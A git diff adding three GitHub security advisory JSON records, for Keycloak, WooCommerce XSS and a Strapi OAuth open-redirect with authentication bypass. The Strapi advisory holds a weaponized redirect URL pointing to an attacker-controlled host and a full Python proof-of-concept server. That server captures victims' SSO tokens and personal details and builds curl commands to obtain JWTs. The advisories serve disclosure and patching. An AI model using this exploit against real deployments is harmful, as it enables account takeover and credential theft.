diff --git a/advisories/github-reviewed/2024/06/GHSA-4vc8-pg5c-vg4x/GHSA-4vc8-pg5c-vg4x.json b/advisories/github-reviewed/2024/06/GHSA-4vc8-pg5c-vg4x/GHSA-4vc8-pg5c-vg4x.json new file mode 100644 index 00000000000..453b6d40178 --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-4vc8-pg5c-vg4x/GHSA-4vc8-pg5c-vg4x.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4vc8-pg5c-vg4x", + "modified": "2024-06-12T19:41:05Z", + "published": "2024-06-12T19:41:05Z", + "aliases": [ + + ], + "summary": "Keycloak's improper input validation allows using email as username", + "details": "Keycloak allows the use of email as a username and doesn't check that an account with this email already exists. That could lead to the unability to reset/login with email for the user. This is caused by usernames being evaluated before emails.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.keycloak:keycloak-services" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "24.0.1" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-4vc8-pg5c-vg4x" + }, + { + "type": "WEB", + "url": "https://github.com/keycloak/keycloak/commit/f9708037383aa98741e4850447de64dc4a0d4b4e" + }, + { + "type": "PACKAGE", + "url": "https://github.com/keycloak/keycloak" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-670" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2024-06-12T19:41:05Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-cv23-q6gh-xfrf/GHSA-cv23-q6gh-xfrf.json b/advisories/github-reviewed/2024/06/GHSA-cv23-q6gh-xfrf/GHSA-cv23-q6gh-xfrf.json new file mode 100644 index 00000000000..8c99879d327 --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-cv23-q6gh-xfrf/GHSA-cv23-q6gh-xfrf.json @@ -0,0 +1,93 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-cv23-q6gh-xfrf", + "modified": "2024-06-12T19:40:16Z", + "published": "2024-06-12T19:40:16Z", + "aliases": [ + "CVE-2024-37297" + ], + "summary": "WooCommerce has a Cross-Site Scripting Vulnerability in checkout & registration forms", + "details": "### Impact\nA vulnerability introduced in WooCommerce 8.8 allows for cross-site scripting. A bad actor can manipulate a link to include malicious HTML & JavaScript content. While the content is not saved to the database, the links may be sent to victims for malicious purposes. The injected JavaScript could hijack content & data stored in the browser, including the session.\nThe URL content is read through the Sourcebuster.js library and then inserted without proper sanitization to the classic checkout and registration forms.\n\n### Patches\n```diff\ndiff --git a/plugins/woocommerce/client/legacy/js/frontend/order-attribution.js b/plugins/woocommerce/client/legacy/js/frontend/order-attribution.js\nindex 79411e928e1..25eaa721c54 100644\n--- a/plugins/woocommerce/client/legacy/js/frontend/order-attribution.js\n+++ b/plugins/woocommerce/client/legacy/js/frontend/order-attribution.js\n@@ -155,12 +155,16 @@\n \t\t * but it's not yet supported in Safari.\n \t\t */\n \t\tconnectedCallback() {\n-\t\t\tlet inputs = '';\n+\t\t\tthis.innerHTML = '';\n+\t\t\tconst inputs = new DocumentFragment();\n \t\t\tfor( const fieldName of this._fieldNames ) {\n-\t\t\t\tconst value = stringifyFalsyInputValue( this.values[ fieldName ] );\n-\t\t\t\tinputs += ``;\n+\t\t\t\tconst input = document.createElement( 'input' );\n+\t\t\t\tinput.type = 'hidden';\n+\t\t\t\tinput.name = `${params.prefix}${fieldName}`;\n+\t\t\t\tinput.value = stringifyFalsyInputValue( ( this.values && this.values[ fieldName ] ) || '' );\n+\t\t\t\tinputs.appendChild( input );\n \t\t\t}\n-\t\t\tthis.innerHTML = inputs;\n+\t\t\tthis.appendChild( inputs );\n \t\t}\n \n \t\t/**\n```\n\n### Workarounds\nDisabling the Order Attribution feature \n\n### References\nA8C SIRT: p3btAN-2L2-p2 (internal)\nPublic disclosure: https://developer.woocommerce.com/2024/06/10/developer-advisory-xss-vulnerability-8-8-0/\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "woocommerce/woocommerce" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "8.8.0" + }, + { + "fixed": "8.8.5" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "woocommerce/woocommerce" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "8.9.0" + }, + { + "fixed": "8.9.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/woocommerce/woocommerce/security/advisories/GHSA-cv23-q6gh-xfrf" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37297" + }, + { + "type": "WEB", + "url": "https://github.com/woocommerce/woocommerce/commit/0e9888305d0cb9557e58f558526ab11cb3bcc4b4" + }, + { + "type": "WEB", + "url": "https://github.com/woocommerce/woocommerce/commit/915e32a42762916b745a7e663c8b69a698da8b67" + }, + { + "type": "WEB", + "url": "https://developer.woocommerce.com/2024/06/10/developer-advisory-xss-vulnerability-8-8-0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/woocommerce/woocommerce" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79", + "CWE-80" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-06-12T19:40:16Z", + "nvd_published_at": "2024-06-12T15:15:52Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/06/GHSA-wrvh-rcmr-9qfc/GHSA-wrvh-rcmr-9qfc.json b/advisories/github-reviewed/2024/06/GHSA-wrvh-rcmr-9qfc/GHSA-wrvh-rcmr-9qfc.json new file mode 100644 index 00000000000..ea927d0b722 --- /dev/null +++ b/advisories/github-reviewed/2024/06/GHSA-wrvh-rcmr-9qfc/GHSA-wrvh-rcmr-9qfc.json @@ -0,0 +1,66 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-wrvh-rcmr-9qfc", + "modified": "2024-06-12T19:39:11Z", + "published": "2024-06-12T19:39:11Z", + "aliases": [ + "CVE-2024-34065" + ], + "summary": "@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass", + "details": "### Summary\n\nBy combining two vulnerabilities (an `Open Redirect` and `session token sent as URL query parameter`) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).\n\n### Impact\n\nUnauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.\n\n### Technical details\n\n#### Vulnerability 1: Open Redirect\n\n##### Description\n\nOpen redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.\n\nIn the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.\n\n##### Remediation\n\nIf possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:\n\n- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.\n- Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.\n\nIf it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:\n\n- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.\n- The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.\n\n###### Example 1: Open Redirect in /api/connect/microsoft via `$_GET[\"callback\"]`\n\n- Path: /api/connect/microsoft\n- Parameter: `$_GET[\"callback\"]`\n\nPayload:\n\n```plaintext\nhttps://google.fr/\n```\n\nFinal payload:\n\n```plaintext\nhttps:///api/connect/microsoft?callback=https://google.fr/\n```\n\nUser clicks on the link:\n![c1](https://github.com/strapi/strapi/assets/30262080/c1944cf8-2ef0-4214-ba9e-d4aad10d85ba)\n\nLook at the intercepted request in Burp and see the redirect to Microsoft:\n\n![c0](https://github.com/strapi/strapi/assets/30262080/0c3d9289-432c-46ac-a7e3-eafe15f02483)\n\nMicrosoft check the cookies and redirects to the original domain (and route) but with different GET parameters.\n\nThen, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):\n\n![c2](https://github.com/strapi/strapi/assets/30262080/009e3898-1ccf-4ee4-9c29-496ff6b302d0)\n\nThe domain originally specified (https://google.fr) as `$_GET[\"callback\"]` parameter is present in the cookies. So \\ is using the cookies (`koa.sess`) to redirect.\n\n![c3](https://github.com/strapi/strapi/assets/30262080/4c25cb6c-c9e8-4c2d-aa61-1ad1442e5f4d)\n\n`koa.sess` cookie:\n\n```base64\neyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==\n```\n\n```json\n{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://google.fr/\"}},\"_expire\":1700234244263,\"_maxAge\":86400000}\n```\n\nThe vulnerability seems to come from the application's core:\n\nFile: [packages/plugins/users-permissions/server/controllers/auth.js](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/controllers/auth.js)\n\n```js\n'use strict';\n\n/**\n * Auth.js controller\n *\n * @description: A set of functions called \"actions\" for managing `Auth`.\n */\n\n/* eslint-disable no-useless-escape */\nconst crypto = require('crypto');\nconst _ = require('lodash');\nconst { concat, compact, isArray } = require('lodash/fp');\nconst utils = require('@strapi/utils');\nconst {\n contentTypes: { getNonWritableAttributes },\n} = require('@strapi/utils');\nconst { getService } = require('../utils');\nconst {\n validateCallbackBody,\n validateRegisterBody,\n validateSendEmailConfirmationBody,\n validateForgotPasswordBody,\n validateResetPasswordBody,\n validateEmailConfirmationBody,\n validateChangePasswordBody,\n} = require('./validation/auth');\n\nconst { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;\nconst { ApplicationError, ValidationError, ForbiddenError } = utils.errors;\n\nconst sanitizeUser = (user, ctx) => {\n const { auth } = ctx.state;\n const userSchema = strapi.getModel('plugin::users-permissions.user');\n\n return sanitize.contentAPI.output(user, userSchema, { auth });\n};\n\nmodule.exports = {\n async callback(ctx) {\n const provider = ctx.params.provider || 'local';\n const params = ctx.request.body;\n\n const store = strapi.store({ type: 'plugin', name: 'users-permissions' });\n const grantSettings = await store.get({ key: 'grant' });\n\n const grantProvider = provider === 'local' ? 'email' : provider;\n\n if (!_.get(grantSettings, [grantProvider, 'enabled'])) {\n throw new ApplicationError('This provider is disabled');\n }\n\n if (provider === 'local') {\n await validateCallbackBody(params);\n\n const { identifier } = params;\n\n // Check if the user exists.\n const user = await strapi.query('plugin::users-permissions.user').findOne({\n where: {\n provider,\n $or: [{ email: identifier.toLowerCase() }, { username: identifier }],\n },\n });\n\n if (!user) {\n throw new ValidationError('Invalid identifier or password');\n }\n\n if (!user.password) {\n throw new ValidationError('Invalid identifier or password');\n }\n\n const validPassword = await getService('user').validatePassword(\n params.password,\n user.password\n );\n\n if (!validPassword) {\n throw new ValidationError('Invalid identifier or password');\n }\n\n const advancedSettings = await store.get({ key: 'advanced' });\n const requiresConfirmation = _.get(advancedSettings, 'email_confirmation');\n\n if (requiresConfirmation && user.confirmed !== true) {\n throw new ApplicationError('Your account email is not confirmed');\n }\n\n if (user.blocked === true) {\n throw new ApplicationError('Your account has been blocked by an administrator');\n }\n\n return ctx.send({\n jwt: getService('jwt').issue({ id: user.id }),\n user: await sanitizeUser(user, ctx),\n });\n }\n\n // Connect the user with the third-party provider.\n try {\n const user = await getService('providers').connect(provider, ctx.query);\n\n if (user.blocked) {\n throw new ForbiddenError('Your account has been blocked by an administrator');\n }\n\n return ctx.send({\n jwt: getService('jwt').issue({ id: user.id }),\n user: await sanitizeUser(user, ctx),\n });\n } catch (error) {\n throw new ApplicationError(error.message);\n }\n },\n\n //...\n\n async connect(ctx, next) {\n const grant = require('grant-koa');\n\n const providers = await strapi\n .store({ type: 'plugin', name: 'users-permissions', key: 'grant' })\n .get();\n\n const apiPrefix = strapi.config.get('api.rest.prefix');\n const grantConfig = {\n defaults: {\n prefix: `${apiPrefix}/connect`,\n },\n ...providers,\n };\n\n const [requestPath] = ctx.request.url.split('?');\n const provider = requestPath.split('/connect/')[1].split('/')[0];\n\n if (!_.get(grantConfig[provider], 'enabled')) {\n throw new ApplicationError('This provider is disabled');\n }\n\n if (!strapi.config.server.url.startsWith('http')) {\n strapi.log.warn(\n 'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url'\n );\n }\n\n // Ability to pass OAuth callback dynamically\n grantConfig[provider].callback =\n _.get(ctx, 'query.callback') ||\n _.get(ctx, 'session.grant.dynamic.callback') ||\n grantConfig[provider].callback;\n grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);\n\n return grant(grantConfig)(ctx, next);\n },\n\n //...\n\n};\n```\n\nAnd more specifically:\n\n```js\n...\n\n // Ability to pass OAuth callback dynamically\n grantConfig[provider].callback =\n _.get(ctx, 'query.callback') ||\n _.get(ctx, 'session.grant.dynamic.callback') ||\n grantConfig[provider].callback;\n grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);\n\n return grant(grantConfig)(ctx, next);\n...\n```\n\nPossible patch:\n\n```js\ngrantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback\n```\n\n`_.get(ctx, 'query.callback')` = `$_GET[\"callback\"]` and `_.get(ctx, 'session')` = `$_COOKIE[\"koa.sess\"]` (which is `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://XXXXXXX/\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`) so `_.get(ctx, 'session.grant.dynamic.callback')` = `https://XXXXXXX/`.\n\nThe route is clearly defined here:\n\nFile: [packages/plugins/users-permissions/server/routes/content-api/auth.js](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/routes/content-api/auth.js)\n\n```js\n'use strict';\n\nmodule.exports = [\n\n//...\n\n {\n method: 'GET',\n path: '/auth/:provider/callback',\n handler: 'auth.callback',\n config: {\n prefix: '',\n },\n },\n\n //...\n\n];\n```\n\nFile: [packages/plugins/users-permissions/server/services/providers-registry.js](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/services/providers-registry.js)\n\n```js\n\nconst getInitialProviders = ({ purest }) => ({\n\n//..\n\n async microsoft({ accessToken }) {\n const microsoft = purest({ provider: 'microsoft' });\n\n return microsoft\n .get('me')\n .auth(accessToken)\n .request()\n .then(({ body }) => ({\n username: body.userPrincipalName,\n email: body.userPrincipalName,\n }));\n },\n\n//..\n\n});\n```\n\nIf parameter `$_GET[\"callback\"]` is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie `koa.sess`:\n\n`koa.sess`=`eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9`\n\nWhich once base64 decoded become `{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https:///users/auth/redirect\"}},\"_expire\":1701275652123,\"_maxAge\":86400000}`.\n\nThe signature of the cookie is stored in cookie `koa.sess.sig`:\n\n`koa.sess.sig`=`wTRmcVRrn88hWMdg84VvSD87-_0`\n\nFile: [packages/plugins/users-permissions/server/bootstrap/grant-config.js](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/bootstrap/grant-config.js)\n\n```js\n\n//..\n\n microsoft: {\n enabled: false,\n icon: 'windows',\n key: '',\n secret: '',\n callback: `${baseURL}/microsoft/callback`,\n scope: ['user.read'],\n },\n\n//..\n```\n\n#### Vulnerability 2: Session token in URL\n\n##### Description\n\nApplications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.\n\n###### Example 1: SSO token transmitted within URL (`$_GET[\"access_token\"]`)\n\n- Path: /api/connect/microsoft\n- Parameter: `$_GET[\"callback\"]`\n\nWhen a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.\n\nWeaponized payload:\n\n```plaintext\nhttps:///api/connect/microsoft?callback=http://:8080/\n```\n\nWith a web server specially developed to exploit the vulnerability listening on \\:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.\n\nA user is on his browser when he decides to click on a link sent to him by e-mail.\n\n![c4](https://github.com/strapi/strapi/assets/30262080/c6e22fa1-14a4-4c76-a832-d07305f265b6)\n\n> The attacker places the malicious link in the URL bar to simulate a victim's click.\n\n![c5](https://github.com/strapi/strapi/assets/30262080/4da28c5b-6501-4f93-9041-9917a2b070e6)\n\nThe server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.\n\n> Everything is invisible to the victim.\n\n![c6](https://github.com/strapi/strapi/assets/30262080/58db0a31-3b3b-4648-958b-953eba88bf87)\n\nBecause the victim didn't change to another Web page.\n\n![c7](https://github.com/strapi/strapi/assets/30262080/ab4dd6f9-02e1-42c9-9142-434db865f0d3)\n\nThe attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.\n\n![c8](https://github.com/strapi/strapi/assets/30262080/aab8d22f-5f0e-4a67-85a8-2e333df9b84b)\n\n##### Details\n\n###### Get the JWT token with the `access_token`\n\nFirst of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.\n\nRequest (HTTP):\n\n```http\nGET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKVyBzA HTTP/1.1\nHost: \n\n```\n\nResponse (HTTP):\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Mon, 27 Nov 2023 17:58:46 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 411\nConnection: keep-alive\nContent-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \n\n{\"jwt\":\"eyJhbGeCac\",\"user\":{\"id\":111,\"username\":\"@-ext.com\",\"email\":\"@-ext.com\",\"provider\":\"microsoft\",\"confirmed\":true,\"blocked\":false,\"createdAt\":\"2023-11-14T12:35:42.440Z\",\"updatedAt\":\"2023-11-16T21:00:19.241Z\",\"is_external\":false}}\n```\n\n###### Request API routes using the JWT token\n\nThen reuse the JWT token to request the API.\n\nRequest (HTTP):\n\n```http\nGET /api/users/me/groups?app=support HTTP/1.1\nHost: \nAuthorization: Bearer eyJEeCac\n\n```\n\nResponse (HTTP):\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Tue, 28 Nov 2023 13:45:42 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 24684\nConnection: keep-alive\nContent-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'\nReferrer-Policy: no-referrer\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Content-Type-Options: nosniff\nX-DNS-Prefetch-Control: off\nX-Download-Options: noopen\nX-Frame-Options: SAMEORIGIN\nX-Permitted-Cross-Domain-Policies: none\nVary: Origin\nX-RateLimit-Limit: 10\nX-RateLimit-Remaining: 9\nX-RateLimit-Reset: 1701179203\nX-XSS-Protection: 1; mode=block\nStrict-Transport-Security: max-age=31536000; includeSubDomains\nX-Powered-By: \n\n{\"apps\":{\"support\":{\"groups\":[{\"device_whitelist\":null,\"name\":\"test - support\",\"id\":10,\"group_privileges\":[{\"id\":37,\n\n...\n```\n\n### POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)\n\n```python\nimport base64\nimport json\nimport urllib.parse\n\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom sys import argv\n\n\n# Strapi URL.\nTARGET = \"target.com\"\n\n# URLs to which victims are automatically redirected.\nREDIRECT_URL = [\n \"strapi.io\",\n \"www.google.fr\"\n]\n# URL used to generate a valid JWT token for authentication within the\n# application.\nGEN_JWT_URL = f\"https://{TARGET}/api/auth/microsoft/callback\"\n\n\n# This function is used to generate a curl command which once executed, will\n# give us a valid JWT connection token.\ndef generate_curl_command(token):\n command = f\"curl '{GEN_JWT_URL}?access_token={token}'\"\n return command\n\n\n# We create a custom HTTP server to retrieve users' SSO tokens.\nclass CustomServer(BaseHTTPRequestHandler):\n\n # Here we override the default logging function to reduce verbosity.\n def log_message(self, format, *args):\n pass\n\n # This function automatically redirects a user to the page defined in the\n # global variable linked to the redirection.\n def _set_response(self):\n self.send_response(302)\n self.send_header(\"Location\", REDIRECT_URL[0])\n self.end_headers()\n\n # If an SSO token is present, we parse it and log the result in STDOUT.\n def do_GET(self):\n # This condition checks whether a token is present in the URL.\n if str(self.path).find(\"access_token\") != -1:\n # If this is the case, we recover the token.\n query = urllib.parse.urlparse(self.path).query\n query_components = dict(qc.split(\"=\") for qc in query.split(\"&\"))\n access_token = urllib.parse.unquote(query_components[\"access_token\"])\n\n # In the token, which is a string in JWT format, we retrieve the\n # body part of the token.\n interesting_data = access_token.split(\".\")[1]\n\n # Patching base64 encoded data.\n interesting_data = interesting_data + \"=\" * (-len(interesting_data) % 4)\n\n # Parsing JSON.\n json_data = json.loads(base64.b64decode(interesting_data.encode()))\n family_name, given_name, ipaddr, upn = json_data[\"given_name\"], json_data[\"family_name\"], json_data[\"ipaddr\"], json_data[\"upn\"]\n\n print(f\"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\\n{access_token}\\n\")\n print(f\"[*] Run: \\\"{generate_curl_command(query_components['access_token'])}\\\" to get JWT token\")\n\n self._set_response()\n self.wfile.write(\"Redirecting ...\".encode(\"utf-8\"))\n\n\ndef run(server_class=HTTPServer, handler_class=CustomServer, ip=\"0.0.0.0\", port=8080):\n server_address = (ip, port)\n httpd = server_class(server_address, handler_class)\n\n print(f\"Starting httpd ({ip}:{port}) ...\")\n try:\n httpd.serve_forever()\n except KeyboardInterrupt:\n pass\n\n httpd.server_close()\n print(\"Stopping httpd ...\")\n\n\nif __name__ == \"__main__\":\n if len(argv) == 3:\n run(ip=argv[1], port=int(argv[2]))\n else:\n run()\n```\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@strapi/plugin-users-permissions" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.24.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/strapi/strapi/security/advisories/GHSA-wrvh-rcmr-9qfc" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34065" + }, + { + "type": "WEB", + "url": "https://github.com/strapi/strapi/commit/9c79921d22142a5de77ea26151550a14e4b12669" + }, + { + "type": "PACKAGE", + "url": "https://github.com/strapi/strapi" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-294", + "CWE-601" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-06-12T19:39:11Z", + "nvd_published_at": "2024-06-12T15:15:51Z" + } +} \ No newline at end of file